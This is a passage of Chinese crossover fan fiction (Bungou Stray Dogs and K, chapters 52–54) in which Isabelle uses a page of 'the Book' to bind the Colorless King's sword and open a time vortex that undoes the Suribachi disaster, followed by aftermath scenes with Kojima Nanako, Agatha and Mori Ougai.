种田山头火感叹:“有些事,在没发生的时候,你怎么想都是不可能,但真有人做到了,你就会惊愕,原来这个世界居然真的能这样发生啊。” 这世上从来没什么限制,有所限制,只是因为,那是由你的心套上的,而那枷锁,也是别人递来的。 “我总觉得,”太宰治撑着头,现在的他,丝毫不像是要去赴一场战斗之约,他懒洋洋道:“这件事恐怕不会如我们的所料。”他轻声说:“我看过了她那一场演讲,这样的人,不会连自己的退路都没想好。” 一边的江户川乱步侧头望来,他神色中显出一种非一般的冷漠,他注视着他道:“那和我们有什么关系么?我们只用保证横滨的安宁就好。我们之所以不去想以后的事,是因为如果连现在的一劫都过不去,我们就没有以后了。”他看了眼密码箱的位置,这也是他没有动用一张假的“书”页去做诱饵的原因。 “哈哈哈哈,”太宰治大笑,他拊掌道:“就是这样!我们就是被横压在两面双方间的可怜的家伙,既没办法掀翻一切,又想要保护点什么,所以才落得这样的下场。就像这位种田长官,以后的仕途可就艰难了。”他一边笑着,眼泪都笑了出来:“只有那个女人,她才是真的毫无畏惧啊,对生死都没有敬畏,你又指望什么能阻止她呢?” 别人都看到了她的善与机谋,只有我看见了她的亵渎,和对命运毫不留情地讽刺。 这样的人,有能力又有手段,还有极高的智慧,做什么都会成功的。可便是如此之人,当年的那个家族,还是要拿她去联姻……这是什么世纪大笑话?简直乐死我了!一想到查到的资料里的某些记载,太宰治就为一部分人类的愚蠢感到深深的欢乐。 于是他又问:“那你们想好了吗?我们这样埋伏她,成功了固然好说,可一旦失败了,要怎么应对她的怒火?” 她的身上,是有着一股魔性的啊! 时间回到现在,在江户川乱步将那一串数字报出来后,伊莎贝尔没有第一时间打开,她先是用耳朵仔细地倾听了下里面的声音,然后从怀里掏出什么东西撕开,最后才将之打开。 箱子里是红丝绒布的内衬,一张看起来普普通通的纸被置于其中,一面上写下了些奇怪的字句,其余都是空白,看起来没什么异常的地方。 所有人都紧张地望着她,另一边轰隆炸响的战斗声都不能吸引他们的注意。伊莎贝尔没有第一时间质疑,她将它拿了起来。从她面上的神情中,他们什么都瞧不出。 一片沉默中,江户川乱步忽然道:“你知道要在它上面书写,有什么限制条件吗?” 伊莎贝尔歪了下头,她扫了眼上面的文字,笑着说:“要逻辑自洽,内容能自圆其说?” 太宰治眼神一动,不知道她是早就知道,还是现在才观察出的,如果是前者,这个人身上恐怕有很大的秘密。 风从高台上吹过,乱步又问:“你现在能告诉我们了吧,除了擂钵街的事,你还准备在上面写些什么?” 伊莎贝尔却一点也不急,她之前一直追求极快,可等到终于拿到了东西,她就仿佛生出了无限的耐心。不管这些人内心如何暴躁,她都心情很好地说:“要么你们离开,要么,就再等一等吧。” 等一等,等什么?还有什么人要来?这一次,连乱步都没有头绪了。 伊莎贝尔站到了高台的边缘,风将她的衣衫吹得乱舞,那张“书”页就在她的手指间,像是下一刻就要从她的手中飞脱出去,然后飘离在空中,消失不见。 没有人过来,什么也没发生。只是另一侧的战斗动静渐渐小了些。人心浮动,有人快要等待不下去了。 “好了。”她突然开口道。太宰治和江户川乱步一直在观察,不曾发现任何异样。 “对了,”现在的她仿佛完全忘记了刚才的不愉快,她侧过头,对着他们俏皮道:“你们有带笔吗?我在临出门前,做了很多准备,可就是忘了带一支笔。也是最近的事太多了,让我都忙糊涂了,真是该打。” 呃,太宰治和江户川乱步不知道该说什么。种田山头火深吸口气,他站出来,平声道:“我带了。” 说完,他就一步一步地往那个方向走去。身后的人都注视着他的背影,看到他的脚步如有千斤重。他走到她身前,注视着这个异域的女人,对方眼里含了笑,好似在说些什么,又好似什么都没说。 他只能从胸口的口袋中掏出一只钢笔。然后,他低下头,微微弯腰,将这笔双手托起,奉献上去。 他的下属心中终于有什么东西崩碎了,他们注视着这一幕,眼中和喉咙中犹如堵住了异物。太阳也终于露出了脸,它注视着这些,同样悄声不语。 良久,伊莎贝尔才接过了笔,她笑道:“何须如此多礼呢?” 种田山头火直起了身,他道:“哪里,您为了我们横滨的擂钵街着想,才做出了这样的伟大之举,稍稍恭敬一些又算什么呢?” 伊莎贝尔摇摇头,她没有再说话,种田山头火就退了下去。 伊莎贝尔执起了笔。她书写着什么,可就在某一刻,有更大的风忽然而起,它无形无质,从每一个人的身边穿行而过。伊莎贝尔的长发被架起,她宁静地注视着面前的纸张,它立在它身前,不需要支架,一种朦胧的彩色的光从它身上蔓延到了伊莎贝尔的身上,她好像进入了一个特异的空间,对外界的一切都不理睬,只关注着眼前的书写。 两道格外快的身影落定在平台上,中原中也紧紧地盯着这一幕,他的帽子不知道哪去了,衣服上也破了好几处;另一位老人则是满怀怒火,他死死地盯着那里,手中的刀却没有向前。 伊莎贝尔的整个身体也漂浮了起来,她好似与眼前的书页成了一体,手中握着的笔在不停地书写。有人想要见到上面写些什么,可只要上前一步,就被那位重力使警戒,有想要窥探的,瞪出了眼珠子,也什么都没瞧见。 但很快,他们就察觉到了有什么东西在改变。更大的混乱以其为中心,生出来了! “该死,”有重要人员高喊:“我们根本监测不到什么!”他们事先想好的可不是这样,不论是失败还是成功,他们都会准备一两个人,在一旁监视着书写者,一旦发觉其有写的不对的,就立马推开他/她。 而且从前试用时,可没发生这一幕。 江户川乱步沉默不言。太宰治挤到他的身边:“说吧,你看出了什么?” 江户川乱步摇了摇头:“我可没预见到这个。” “那你预见了什么?”太宰治继续问。 “她的那柄伞,是别人送给她的。”乱步忽然说到不相关的,一旁种田山头火听的不明所以,“她可能不是为自己来的,”他的眼眸深邃无比:“她不需要‘愿望器’,她夺得‘书’页,恐怕是为了其他人。” 说完这些,他们倏然心头一动,一齐望向了一个方向。 第52章 无色王 他们一起看向了某个方向。 江户川乱步脸色凝重, 他沉声道:“太宰,你感觉到什么了吗?” 太宰治张了张口,他苦笑了下:“啊, 我们似乎都漏掉了某个猜测。” 在他语音落下的下一刻,更大的波动汹涌而来,伊莎贝尔写字的速度更快了, 她似乎是知道自己要写下的是什么,也知道自己要引起的是什么, 她飞速地动手,整个人完全不管外界所发生的任何事。 “书”页竟然震动起来, 无量的光要从它这里迸发,伊莎贝尔脸色蓦然苍白, 她顿了下, 涂抹掉一行文字, 然后用更快非人般的速度继续下去,她整个人一直在往上升,升到更高的地方, 她的周身也好似在发光, 就好像是一位专司命运的女神, 在编织属于世间的故事。 有什么东西在所有人的耳边嘎吱作响, 这一次,能听到的不再是某些特殊的人了, 而是每一位, 都好像听见了这种破碎的声音。有人没关注,也有人迟疑地停下了脚步, 并转头问身边的朋友:“什么东西在响?” 一些特殊监测部门的人满脸骇然地望着眼前屏幕上怪物一般飞速往上升的数值,他们恐惧到浑身都在发抖, “这、这……不,不……”有人两眼一黑,直接晕倒了过去。 战斗后躺在地上的小岛菜菜子偏过了头,中原中也和那位福地转向望去,有人从自己的高塔中走了出来,有人从酒吧中醒来,有人从轮椅上侧目,他们都心有所感,知晓有什么在发生。 有什么东西就要出来了! 有什么庞然大物就要降临了! 某个人轻叹了一声,他抬起头,放开了限制,在下一瞬,仿佛颂起了史歌,一柄华美无比的巨剑出现在了天空之上。 它就好像是神话中才有的审判之物,每一处都精美到没有一丝瑕疵,剑身修长又优雅,其色为纯粹之色,仿佛刚被唤醒的高天宝藏。无尽的能量环绕在它周身,材质流光溢彩又非凡绝伦,数颗宝石嵌刻在剑柄上,散发出夺目的光,宝石身侧是繁复独特的图纹,蕴含着某种仿佛自远古来的神秘。 它就像一条沉睡的白龙,每一丝光芒都是它的鳞片在闪闪发光,它的形象尊贵又威严,散发出摄人心魄的威能。它表面平静无波,但一种汹涌澎湃的力量盖压在每一个观测到它的人的心头。它仿佛构建了一道桥梁,一端是此时的现实,一端是彼岸无尽的幻想之世,没有人能将目光从它身上移开,因为它诠释了力量的极限。 [黄金·威权]【无色之王】 巨剑下剑尖所对的人正在微笑,他张开双手,好似要拥抱住世间因此而来的所有波涛,忽然,他转过了头,看向卡牌之外。拥有卡牌的人正在与他对视,二者目光相接之处,一种无形的联通在他们之间发生,心灵瞬时化为一人,裴真猛然睁开眼。 “星空与彼岸是你的来处,未知的客人造访了特殊的世界,四重的光环在混沌海中陪伴,星星是人类的光华,它们会降落在你身边。寂寞与孤独环绕着你,迷茫与未知会寻找上你,但请不必担心,世界会给它的来客送上珍贵的礼物,你的每一次呼吸,都响应着它光芒的流转。” “无色即变数,无色即混沌。王者司掌控,王者司权能。责任只有你背负起才叫责任,你尽可以选择你的道路,到了后来,自会有鲜花与欢迎来为你喝彩,因为你之本身,便为奇迹。” “无色的王啊,摆脱了不称职的选中者,你将走上一条新的道路。” 人们屏住了呼吸,眼神底处不可自制地涌出敬畏。向往的光也从这其中生出。一时天地都为之所摄。 江户川乱步呻吟一声,他捂住了半边的脸:“是啊,太宰,我们都漏掉了,如果想要对抗一样物品,另一件物品必定是要与其等同的。我们都在想她会用它做些什么,可没想到,她为了做些什么,必须只能使用它。‘书’页的力量其实是刚刚好的,若是整本‘书’,恐怕要应对的,就是‘石板’的完全体了。” 种田山头火不禁在一边喊:“不,你们有谁能告诉我发生了什么吗?” “很简单,”太宰治笑吟吟道:“这位女士一直都没有透露出丁点的秘密,就是她夺取‘书’页,完全不是为了自己,而是为了某位王权者。” 中原中也脸色很难看:“她欺骗了我们吗?” “她想要做什么?刺杀一位七王吗?”种田山头火的脸色更难看,像是下一秒就要死去。 “不,”江户川乱步仍旧没有移开眼睛,他笑道:“你们或许都猜错了他们二者之间的关系……” 他的话音刚落,飘在空中的伊莎贝尔就像是落下了最后一笔,她抬头往天上看去,裙摆和长发都在光芒中如有活性般舞动,她站定了身躯,双眼中透出坚毅,她右手一挥,那张神异的书页就咻的一下往天空上飞去,下一瞬就消失不见。 某种一直在暗中进行的僵持也终于展露在人前,一道银白色的锁链从虚空中席卷而来,它如有灵性一般向着长剑缠绕而去。长剑丝毫未动,像是其主人的暗许,任由这锁链从下往上将它锁紧。银链很快就完成了它一部分的使命,它周身发出另一种光泽,与剑身的光芒互相对抗起来。 对它们而言的小动静,对所有人而言,就有可能是不可颠覆的灾难了。“这还不是对抗吗?”种田山头火感觉天都黑了。 “如果它们真是敌对的,不会到现在都还没发生什么。”太宰治有些无聊地叹了口气:“这是位喜欢未雨绸缪的王者,不是一般的谨慎与慎重。王的剑会体现出他的心理,这剑没有一丝的损毁,代表着他几乎极少使用它的力量,可就是这样,他也要为其上一道枷锁,只为了日后不发生自己不想看到的事。它是在维护它。” 种田山头火的脑子终于转弯过来,他迟疑道:“你是说,‘坠剑’?”他想起了一场更浩大的灾难。 “有可能是,”太宰治摊摊双手:“也可能是他不信任石板,力量能够赐予,力量也能收回。如果‘书’化作的锁链能阻碍其坠落,那么,减缓甚至防止其收回,也不是不可能的。” “那‘书’的力量就能相信吗?”种田山头火明白了过来,他有些无语,感情有人做了这么多,只是为了未来一丝有可能发生的不好的事。 “二者制衡总比一家独大的好,”江户川乱步静静道,“锁链没有封锁住它的光辉,相反,它让它更强大了。” 果不其然,在经过了一段时间的相互磨合以后,应该是伊莎贝尔在“书”上写下的一些设定,让它们从完全陌生到渐渐相融。锁链身上逐渐沾染上了剑的光辉,它的色彩也在朝着剑的颜色转变,而剑的光华则缓缓沉淀了下来,它不再那么锋芒毕露,展露出了一种更古老典雅的风采。 它悬浮在空中,一条锁链缠绕在它的剑柄和剑身上,那种闪烁的危险的光不再亮起,二者一同沉寂,直到—— 在二者缠绕的尽头处,一朵鲜红的玫瑰的花陡然生出,它花瓣颤抖着生长绽放,无比的生机从中迸发,天地都好像在为它庆贺。长剑有了新貌,变化步入终途。 文字的详解添上了一行字:“你选择了克制。这是王者的自谦。你对力量有了更深入的了解,或许有一天,馈赠离你而去了,这份理解,也依旧会深刻扎根在你的心里,成为你本身的一部分。” “前方是未知,赞美你的勇气,勇于拓取的王。” “呼。”有人长出了口气,他们有人猜测,这变化应该是好的,那种仿佛被利剑悬在心头的威慑感消散了,他们沉默相对,不知该说些什么好。 但也有人不管这些,除开那些不知道发生了什么的民众,中原中也周身气质危险,他看向从天空上降下的伊莎贝尔,紧紧地盯着她,沙哑发问:“你承诺过的复苏呢?” 伊莎贝尔身上的衣裙不知何时恢复了完好,对于中原中也的质问,她也不在意,只是在往前走的路途中,微笑一挥手,一道不断旋转着的幽暗的漩涡就出现在众人中间。它颜色黑紫,看不出一点内里的样子。 “这是什么?”有人问。 伊莎贝尔站定下来,她道:“这对面是十四年前的横滨。” 众人心中一震,有人高喊:“时间穿梭?这怎么可能?” 伊莎贝尔好像心情很不错,她详细解释道:“怎么不可能,两股力量的相碰实在新奇,它们的本质又太高,这样强大的物品居然同时出现了两个,并且差距竟也相差不多。在不断的磨合中,处于它们相争中的时间空间受到了强烈的冲刷,是前所未有的薄弱之机。” “而恰好在此时,这座名为横滨的城市中,正在进行着一场从来没有过的人道之争。人类心中的火焰点燃了暴乱、混乱、悲伤与痛苦;但这次的变革又是不同的,它承载了人们的期盼、美好、希望。当然,”她话题一转道:“我说的这些,都只是一些虚幻之词。我真正想说的是……” “或许奇迹就是在这种时刻降临的吧,也可能它的到来其实毫无理由,”她面上浮出一缕光,身上竟有了些慈悲之意,她道:“但就是这么奇妙,它就这样诞生了,并且,它将在之后,还会将两人卷入其中。” 她的视线从中原中也身上一落,又渐渐移开了。太宰治往后退出一步,他面上带了惊恐道:“不要,绝对不要是我!” 伊莎贝尔忽然神色一慌,之前的那种从容镇定完全不见,她大喊:“不好,我要控制不住了,它就要消失了!” 还想要说些什么的中原中也瞬时神色一厉,他身形飞快,铁爪一般抓住太宰治的一条胳膊,在他凄厉的惨叫声中,毫不迟疑地投入到那个紫黑色的漩涡之中。 漩涡收束一般缩紧,下一秒就消弭不见,像是从来没出现过一样。 伊莎贝尔面上的神情又变回了笑吟吟的模样,好似之前的慌乱都是假象。而便是在此时,天空上的那柄剑也消隐而去,一切的动荡平息,天空恢复到了澄澈的蓝,有如新雨初虹。 江户川乱步翻了个白眼:“你真应该去写小说,谎言张口就来。但你这话,也就只能骗骗中原中也了。”太宰是被中也坑了。 “我可没有说谎。”伊莎贝尔伸出手指摇了摇,安抚了某些人的心跳,她道:“这确实是个时间的通道,它也确实只能出现一次,出现的时间还很短,它是能改变一些事的,过去与未来,本就是这样紧密相连的东西。” “我不喜欢救赎文,”她望了过来,身上还带有之前那种变化后残存的威势,她收敛了笑:“这可能和我的从前有关。我相信人应该自救,相比于为你们改变一切,我更相信你们能为了自身拼尽一切。因为后者,总能诞生出更新的东西。” “灾难总是会一次次发生,它们不仅会发生在人们眼前,也会发生在人们看不到的后方,人不能每一次都在恰好时赶来。相比较于一起滑落深渊,我更喜欢强者光耀满身,走向更远的路。” “呵呵,诡辩,”江户川乱步丝毫不为所动:“这和你‘亲自承诺过要将他们复苏’有什么关系呢?” 伊莎贝尔同样不为所动:“因为时间是混乱的,他们身上有特殊的力量,让他们不至于跌落另外的时间。而若是他们失败了,”她眨了眨眼,旁边的人心中一惊,她就笑了起来:“这能量很有可能会重新带他们去往订好的锚点,让他们获得再一次开始的机会。” “嘶。”有人吸了口冷气,为这种看不到尽头的玩弄感到胆寒。 “这怎么能不算是我将他们复苏了呢?”她语意深长道:“嘘,”她做了个手势:“不要说话,感受一下。” 众人不禁闭起了眼。而紧接着,他们真的发现自己的记忆产生了变化。 他们有关擂钵街的记忆在模糊,那场夺去了数十万人的灾难在隐去,但更多的,是产生了不同的印象。 死去者十万……死去者七千……死去者五万……死去者八百…… 第53章 一场由过去而来的奇迹 这数字居然是在不断变化着的。所有人的脸色都很精彩, 种田山头火一时有些失声:“竟然真的能……”他没有细说,但其他人都知道他想说什么。 唯有江户川乱步的神色没有变化,他深深地看了她一眼:“让我们自己去改变命运么?真是个狡猾的方法。”但这样的方法反倒令他们更有实感一些。 “算了, 即便如此,没有你提供的这个可能,我们也永远不会有这样的机会, 只是,”他轻轻咧开嘴, 笑了:“之后我们的日子,可就没办法安定下来了。” 伊莎贝尔眨了眨眼, 哎呀,这就与她无关了。 “让开枪的人出来!”异能特务科的大楼外还有人在喊, 他们冲击着门外的士兵, 士兵因为没有接到更多的命令, 也不敢对着这群人使用具有杀伤力的武器。 “向所有死在擂钵街的人道歉!”有人痛苦大喊。“让他们回来!”有人流着泪。他们冲击进去,想要发泄出自己一直隐藏在心底里的情绪。门内的职员们连忙往后退,不敢与这群快要疯狂的人对峙。 巨剑的横空出世吸引了一部分人的视线, 还在街道外的人被其光彩与声势所震慑, 那种癫狂般的激进稍稍安抚了下去, 他们望着那边, 不知道这样的变化与他们有没有关联。 “这是什么?”有人问。 “这……该不会就是我们要找寻的奇迹吧?”一位穿黑西装的人又惊又喜问。 也有人性格沉稳一些,他回答道:“不知道, 应该是有人做了什么。” 之前说要敢向神动手的那个年轻人颇为忐忑地问身边的男人:“这会是, 她放出来的东西吗?” 男人悄悄松开了握在口袋里枪支上的手,他抬头望向那里, 感觉那柄剑充斥着绝对无上的威仪,他的视线紧紧凝在其上, 他道:“我不确定。” “那还要继续往前冲吗?”年轻人迷茫了。男人也没有说话。 “上天啊,”春野绮罗子混杂在人群中,她对着长剑双手做祈祷状,低着头道:“请聆听我这个自私的愿望,让爸爸他们回来,如果一定有人要受伤,就落在我身上好了。” 就像政府中有人说的,这些人确实需要引导。勇气需要思想的指引,力量需要理想的导向。他们并不缺乏行动力,只是长久的无反馈消耗了他们的精神,如此一来,社会也就沉寂了下去。 人们心中无措,不知道这巨大的剑到底为何出现在此,它又是哪一方的,会对他们施加惩戒,还是为他们提供帮助。但它是那样的美丽与威严,就算是有锁链缠绕上它的身体,也只是为其添上一笔禁忌般的美。他们着迷地望着它,感觉有星星点点的光洒落下来。 他们等了许久,一直到这柄剑有逐渐消散的趋势。 终于有人爬了出来。还是刚才那个站得最高的人。西尾粧的插手让那颗射出的子弹没有贯穿他的心脏,他的胸口处流了血,但他还是重新站了出来。 之前的暴动让他发出的声音无人听,而这一次,他的声音不如之前宏大,但却更坚定了,他竭力说:“我一直都相信,我们是在为一项正确而伟大的事努力,没有人能不为过去赎罪,就算是政府一样。希望永远不会掉,就算没有我们,也会有其他人,他们在我们看不到的地方和我们一起努力,所以,我们绝不可沦为暴徒,因为我们行的不是暴行。而只要我们走在正确的路上,最后的胜利就一定属于我们!” 人们都看着他,有人坚定下了信念,但更多人面上都是迷茫。 长剑消隐了。 这个男人在心中微叹,他还想要再说:“擂钵街……” 但愣了一下,他沉默了下来。在所有人的注目下,他的神色几度变幻,最终,他突然高喊道:“你们去看一下自己的记忆!它改变了!” “啊!”下一秒,就有人惊呼出声,紧接着,是更多惊诧的声音。 “奇怪了,我明明记得的是……”有人慌张道。 “这就是奇迹!”有人立刻反应过来,他大声哽咽着,跪倒下来,双手伏地,向着长剑消失的方向叩头:“一定是她!她答应过我们的,要将我们的亲人带回来,她做到了!” “怎么回事?”有人只以为这次游行是为了让政府改善擂钵街的居住现状,现在十分疑惑。 人们手足无措地站在大街上,他们的脑子确实接受到了那道信息,在他们的认知中,擂钵街是受到了爆炸的轰击,可那里面的人…… 镜面褪色,时光回退—— 无数的人从里面走出来,人群从废墟一般的擂钵街中慢慢走出,他们每个人脸上都是茫然且诧异的。他们的身体完好,衣衫整洁,除了夜晚的风吹得他们瑟瑟发抖外,就没有不适了。 原本正在外面哭泣的人顿住了,拼尽全力往这里奔来的他们的亲人们也惊愕住了。他们甚至有一瞬怀疑自己见到的是死去人的幽灵,可等到第一个不顾一切抱上去的人感受到体温后,剧烈的喜悦的哭喊声就响彻了这片天地,失而复得的跌宕让不少人都晕了过去,父母颤抖着手抚摸着孩子,恋人不顾一切拥吻在一起,朋友们围成一堆,成年人跪在白发苍苍的老年人的面前……这里上演着人世间最真挚也是最汹涌的情感,没有人能不为之流泪。 “这样就可以了吗?”在一边的角落里,中原中也有些犹豫地问。 太宰治注视着面前这一幕,良久,他笑了起来:“当然可以了,这不就是你想看到的么,足够了。” “为什么不将爆炸消弭?”中原中也问。 太宰治暼了他一眼,“你想插手自己的诞生吗?后果自己没瞧见吗?都试过多少次了?” “第一次的时候,我还以为自己今后都不能瞧见你这小矮子了,还失落了两三秒呢,”他惋惜道:“谁知道这种游戏居然是不通关不能出的,啧,伤害了我的感情。” “更何况,”太宰治的笑容转为恶劣,他讥嘲道:“我为什么要去帮助他们?与国外的一个异能者达成合作,花费了那么多的代价,救了他们的命就已经足够了。安置他们应该是政府的事,我都做完了,他们去做什么?” 如果不是伊莎贝尔和中原中也,他才不会卷入到这种事中,可惜,那家伙就是冲着整个横滨来的,武装侦探社根本脱身不了,简直可恶! 她想要说话算话,方法就是将他扔到这里来,这样的女人,呵呵,绝对不要同她一起殉情(正声)! “这就是改变了吗?”看到其他人和自己一样,记忆中的亲人都回来了,许多人终于相信这是现实了。有个男人“哐”的一声,立马叩头在地上,“谢谢神!谢谢神明大人!您安好,您无论怎样都好!”他都不知道自己在说些什么,泪涕横流地说着些语无伦次的话。 人们仰着头,痴痴然,泪水同样滑落而下。 这样的一场撼动全城的浩大游行,就此止歇了。 裴真走在横滨市的海边。他在伊莎贝尔决定了要那么做以后,就有了准备。用“书”页来对无色的王剑施加影响,不论是成功还是失败,都很有可能会造成很大的动静。他之前不想暴露自己的身份,现在也还是想尽量往后拖。 云朵散去后的海岸暖洋洋的,太阳的光泼洒在岸上,也泼洒在浪花朵朵的海面上,一艘远航的钢铁的大船发出回航的鸣笛声,不远处传来有人匆匆赶来的脚步声,他面露一笑,消失在了原地。 用最快速度赶来的军方和政府方的人员有些惊疑不定地看着消失的人影,他们徘徊在这空无一人的码头,找遍了海岸,也找不到丁点的踪迹。 这是上一次裴真在[白银]抽卡中得来的物品。 [白银·杂物(珍)]【异空间】 裴真心念一动,这其中的“杂物(珍)”直接换为了单独的“珍物”两字。 [白银·珍物]【异空间】 一个正正方方的琉璃状的透明物体出现在卡面上。它看起来完全没有卡牌名那样神异,可就是如此,它奇特的质地还是显出了它的特殊。因为仔细看去,它的每一面都是星辰般的碎屑组成,它的边缘菱角分明,整体散发出寒冷的光。在它的内里,一个微型的漩涡在不断旋转,似乎是在生成着一个袖珍的宇宙。 它并没有辜负它[白银]的等阶,因为当裴真将它装备上时,立马就知晓了它的用处。它能在现今的世界之外,独自开辟出一个单独的小世界,虽然很神奇,但因为只能依附在世界里,所以限制也很多。 “拥有一个世界,这句话在这里被具象化了。谁能不说,掌控一个异空间就是掌控一个世界呢?虽然它有点小,但相信我,它能成为你的居所。” “不知是科技还是异能的造物,身上似乎有许多秘密。但不用担心,你是它的主人,它迟早会在你面前将所有都呈现出来的。” 裴真躲了进去,以此避过了许多人对王权者的搜寻。 他们可不都是好意的。 “这是哪位王者?”有人问身边知情的人。 “我并不清楚,”有人说:“‘青之王’和‘赤之王’已经有了人选,‘黄金’和‘白银’又从未有过变动,其它的我就不知道了。” “‘无色之王’。”有人回答道。 第54章 或许我们也该低下头,看看普通人了 事情已经结束了, 横滨总算进入了一段平静的安稳期,但所有人都知道,这只不过是暴风雨前的安宁而已。 人们从街上回到了家中, 许许多多曾经空缺下来的一部分被填满了,很多人无法相信这是现实,但当他们抚摸逝去之人的手时, 真实的触感总是会让他们瞬时明白,这确实是他们得到的馈赠, 当初不论是谁发起的这场游行,他们都无比感激。因为他们知道, 你失去什么,不会有人出来担责, 但当你得到了什么, 就一定是有人站出来了。 伊莎贝尔从出了大会堂后就一路往前走。她仿佛什么也没有带着, 只是举着那柄特制的伞,暗中越来越多的视线都聚集在这个外国的女人身上。他们想要知道她的秘密,也想要知道, 她与那位王者间的关系。 小岛菜菜子仰躺在冰凉的地面上, 周围是被她打倒的军警。她知道自己应该动起来, 待在这里只会越来越危险, 她还要去到女士的身边,为她阻挡住来自四面八方的危险。可她实在是没有丝毫的力气了, 她睁着眼睛, 连眼皮都过分沉重,她望着天空, 也看到了那柄屹立在横滨上空的巨剑。 “真是美丽啊。”她模模糊糊地想。“女士将来会有这样的力量吗?”她十分自然地担忧起来。 游行结束了,人们又回到了自己的生活中。不知哪里传来飘飘荡荡的歌声。 “为什么要憎恨我, 却又让我来到这世上。是谁想要我掏心肺腑的感激,却吝啬于施舍一点天性之爱?” 她好似又回到了过去的那栋房子,那两个人在她印象中怪化成妖魔,另一个则如水草一般摇动,要缠绕在她身体上。 “暗地里的流言蜚语,总是会从最靠近你的人身上发出。她戴着一张笑面,背后却藏着一柄锋利的剪刀。” 她离开了那里,也遇见了一些人,但最后还是因为背叛,再次进入了牢笼。 “为什么以为自己要高人一等,你脸上的笑真是丑陋啊,动作也下流无比。” 她开始不断地杀人,在锁链和镣铐下,彻底成为了不会思考的武器。有人自以为是地过来拯救,但小岛菜菜子一眼就瞧见了他眼底的贪婪。 “别欺骗我呀,别欺骗我呀!” “我如此狼狈,躲在雨里哭泣,以为这样就不会让人看见我的眼泪。” “我是个一无所有的人,是否注定一无所有?” 在一片黑暗的拍卖会场中,只有展示台上一片光亮,她蜷缩在带电的铁笼中,四面八方都是令人恶心的视线,和窃窃私语的交谈声。 “明光黯然消逝,大地也被黑暗吞吃。”她的眼睛渐渐地闭上了,过去如蔓延来的巨兽,要将她这个可怜的灵魂追杀死在逃脱的未来。 可是,一道熟悉的脚步声在远处响起。 小岛菜菜子蓦然睁大眼,她的过去如碎掉的玻璃一样,在记忆中被碾得粉碎,想起来了,她完全想起来了!在她触碰到地狱最底层的时候,是那个人微笑着冲自己伸出了手,她蔚蓝的眼中毫无阴霾,金色的长发瀑布般卷落,她从另一边对自己伸出手,将她从无边的痛苦中拉了出来! “但还有希望,仍有希望。” 她听见她对自己说:“要加油啊,菜菜子!” 脚步声愈走愈近,最终停在了她的身前,“咚”,是伞尖敲击在地面上的声音,一瞬间,记忆与现实的阻碍仿佛被打破,一张熟悉的脸与记忆中的她重合在一起,她们都在对自己说话—— “(要加油啊,菜菜子!)辛苦你了,菜菜子。” 歌声也终于来到了高潮。“你又一次站起来了,因为你想起了一个人对你说的话。” “不向外求,要向内求。” “只有如此,只有如此,我才能活下去,笑着活下去啊!” 她看着她受伤的身体,眼里终于闪过一抹愧疚,她蹲下身来,将她小心地抱在怀里。小岛菜菜子感到自己的身体似乎好了一些,有了活动的力气。 她笑了出来,伸出手,同样握住了她的手,她轻声说:“我终于能明白,女士为什么说要让自己拯救自己了。” “因为只有变得强大了,以前的伤口,化在身上,也不会那么痛了。而且,以后,也不会再有人用同样的方式来伤害你了。”相反,她还能毫不留情地反击回去。 “嗯。”伊莎贝尔回应道。 “不过我还是觉得,”她仍笑着说:“能与女士遇见真是太好了。因为就凭那个时候的我自己,一定是走不出来的吧?” 伊莎贝尔终于叹道:“这世上,从来就没有完美无缺的人。在低谷的时候,稍稍接受一点别人的帮助也没什么,因为就连种子,也需要雨水和阳光的辅助,才能长成参天的大树。只要日后站起来就行了。” “女士你的大道理还真是一套一套的呢。” “现在就开始嫌弃我了?” “才没有呢!” ………… 海的对岸,有一位高贵雍容的女子挂断了电话,“居然把和我之间的交谈化作资源,也拿出去卖了,”她的口气危险:“死鼠之屋还真是不避讳啊。” “阿加莎阁下,”她旁边有人躬身问道:“是否要去查一下那个叫伊莎贝尔的女人?” “不必了,”她翻阅了一下眼前的资料:“之前我就让人去搜集了。能够搅动一城的人,这世上没有哪一个国家,会忽视掉她的。” 她稍微翻了几页,眉头皱了起来:“这个家族怎么回事?” “本来是我国的人才,为什么要搞出这样的事?又不是东亚那边一样,鼓吹女子一定要结婚,还联姻?也不看看对面是什么人,他配吗?” 她身侧之人额头冒出了汗,他连忙道:“应该只是两个小家族,什么也不懂,对人才的筛选度不够。” 阿加莎冷笑道:“也是,从那所谓的逃婚后,只过了两年,这两个家族就遭受了打击,变得更加衰弱了。如果是让她来,说不定都只是些小小波折。亲手将自己的救命稻草给逼走,这也是他们应得的。” “虽然只是个普通人,”她拎起其中一张纸,满怀赞叹道:“但她的智谋和大局观完全可以弥补这一点,甚至更加难能可贵。异能者好找,但一位统帅全局的元帅,说不定就可以成为国家的支柱了。这样的人,不应该流落在外……”她看向自己的辅助官。 这辅助官立马道:“我这就去联系她。” “嗯,态度要诚恳,方式么,可以双管齐下,一方面直接一点,另一方面就稍稍迂回一下……”她淡淡道。 视线转回,横滨市中。 森鸥外终于从没有天日的密闭的房子中走了出来,他首先是活动了下手脚,然后泪流满面地看着外面的太阳。 一只三花猫眼神凌厉地盯着他的一举一动。 森鸥外被看得有些退缩,他假作无意道:“哎呀,看来一切都已经结束了,老师你们一定是付出了很多的努力吧……” 三花猫向前:“你是不是早就知道她不会在这里久待?” 森鸥外叹了口气:“没有。她就是菜刀,而我是砧板上的鱼肉,想做些什么也做不到。那场演讲让她夺得了所有的人心,我又能怎么办呢?” 三花猫想了想,确实是这样,它的眼神变得有些怜悯,可很快,它就又道:“还有你传过来的消息,说她的异能是‘能赐予他人能力的异能’,这个问题又怎么解呢?” “难道不是吗?”森鸥外先是讶异,很快,他就反应了过来:“她骗了我?!” 三花猫呲了呲牙:“是啊,太宰治说过了,他用了‘人间失格’,但在她身上无效。” 它按了按爪子:“这是一个严重的错误。你知道如果不是军警来了,她的那个属下小岛菜菜子同我们争斗,而我们又千辛万苦地去接触一切的源头那个女人,在太宰将手搭在她的肩上时,她却露出一抹满含深意的笑,然后告诉我们,她从来就没有异能,她只是个普通人,我们会怎样吗?” 森鸥外不由去幻想这样的场景,然后他面上的笑就尴尬起来:“这不是没有发生吗?等等……不要划!我也是被骗了,是有人告诉我她赐下过能力……哎呀,我也知道有可能是其它原因,但这消息不是很重要吗?如果是真的,你们也能事先做好准备不是吗?啊啊啊,爱丽丝救我!”三花猫骂了脏话,森鸥外痛哭流涕地寻求救援。 “这么说,她确实就只是一个普通人?” “是的,”有人叹气:“一个普通人。” “她不是和那位王者有关系吗?没有赐下眷属的能力吗?” 